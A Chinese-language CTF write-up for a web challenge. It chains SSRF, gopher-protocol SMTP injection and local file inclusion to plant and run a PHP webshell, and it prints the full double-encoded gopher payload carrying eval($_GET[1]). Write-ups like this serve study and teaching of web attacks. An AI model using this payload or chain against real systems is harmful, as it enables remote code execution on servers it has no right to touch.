安恒杯6月赛web2 easypentest

文章目录

更新

今天看了下官方解,官方是通过smtp污染日志写的马(这样不用构造特意发送给www-data用户),也解释了为啥我做的时候,在www-data的邮件里没有其他人发过邮件。

但为此,作者还特意将日志文件/var/log/mail.log  修改为所有人可读(默认是只有syslog用户、adm用户组可读)感觉这样可能太刻意了些,将邮件正常发给www-data的话正好web可读,这样似乎更完美一点。

 

easypentest

 

安恒月赛一般有时间的话才做,这道题做得很有趣,顺便写下Wp。

进入题目可以看到高亮php代码:

 

明显的ssrf,对url没有过多的过滤,只是不能输入php字符。

扫目录可以扫到flag.php,虽然有过滤,但是我们知道curl还需要一次urldecode的,所以二次urlencode就可以绕过了。

因为curl的url没怎么过滤,也可以使用file协议,读服务器上的/etc/hosts可以看到自己的ip

用burp扫ip段,得到内网一台主机172.18.0.2的80端口打开了,继续扫端口可以发现该内网主机25端口打开了。

http协议访问内网主机80端口,发现了LFI的提示,本来以为又是读文件找信息,原来后面还有其他用处。

这台内网主机里面搜集到的有用的信息不多。回到刚才发现的25端口,尝试发现它运行在25端口上面的smtp服务器运行正常。

虽然我对linux邮件系统不是很熟悉,但我知道某些程序比如CRONTAB会将定时任务执行时的错误以邮件形式发给对应用户。这意味着,如果我能伪造一封邮件发给www-data用户(只有本用户能看到自己邮件的内容),在邮件内容中写入php马,那么再用LFI包含它就可以执行命令了。(但我还是有些犹豫的,因为发送邮件之前我并没有在www-data的邮件中看到曾经有人发送的邮件,而知道题已经是被做出来了)

首先需要伪造发送邮件。在/etc/passwd中我看到了postfix用户,猜测是使用它搭建的mail系统,自己尝试搭建,查资料它的配置文件在/etc/postfix/main.cf。按照同样的配置,使用telnet连接尝试发送邮件。

如上所示,比较重要的就是FROM 和 TO,@后面的指的就是处理它的邮件服务器,按照配置文件,只能是mydestination中的一个。

此时,只要抓telnet和smtp服务器通讯包,然后用gopher协议重放发给服务器就行。

这里要注意的是,gopher数据x需要二次url编码(不可见字符在服务器接收到之后已经解url编码一次了,而且在邮件内容的php马中会存在php字符串,不编码会被ban)

gopher://172.18.0.2:25/_%4d%41%49%4c%25%32%30%46%52%4f%4d%3a%68%68%68%25%34%30%64%64%34%30%38%38%32%62%61%30%65%61%25%30%41%52%43%50%54%25%32%30%54%6f%3a%77%77%77%2d%64%61%74%61%25%34%30%6c%6f%63%61%6c%68%6f%73%74%25%30%41%44%41%54%41%25%30%41%46%72%6f%6d%3a%68%68%68%25%34%30%64%64%34%30%38%38%32%62%61%30%65%61%25%30%41%53%75%62%6a%65%63%74%3a%68%68%68%68%68%25%30%41%4d%65%73%73%61%67%65%3a%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%34%37%25%34%35%25%35%34%25%35%62%25%33%31%25%35%64%25%32%39%25%33%62%25%32%30%25%33%66%25%33%65%25%30%41%2e

发送(没有返回报错即代表发过去了)

此时包含并查看邮件。

接下来执行一些命令,就能发现flag在这台机子的根目录下,读取(上面发了那么多邮件,就是因为忘了给&符号url编码就以为马没写进去。。。)

One thought on “安恒杯6月赛web2 easypentest

发表评论

电子邮件地址不会被公开。 必填项已用*标注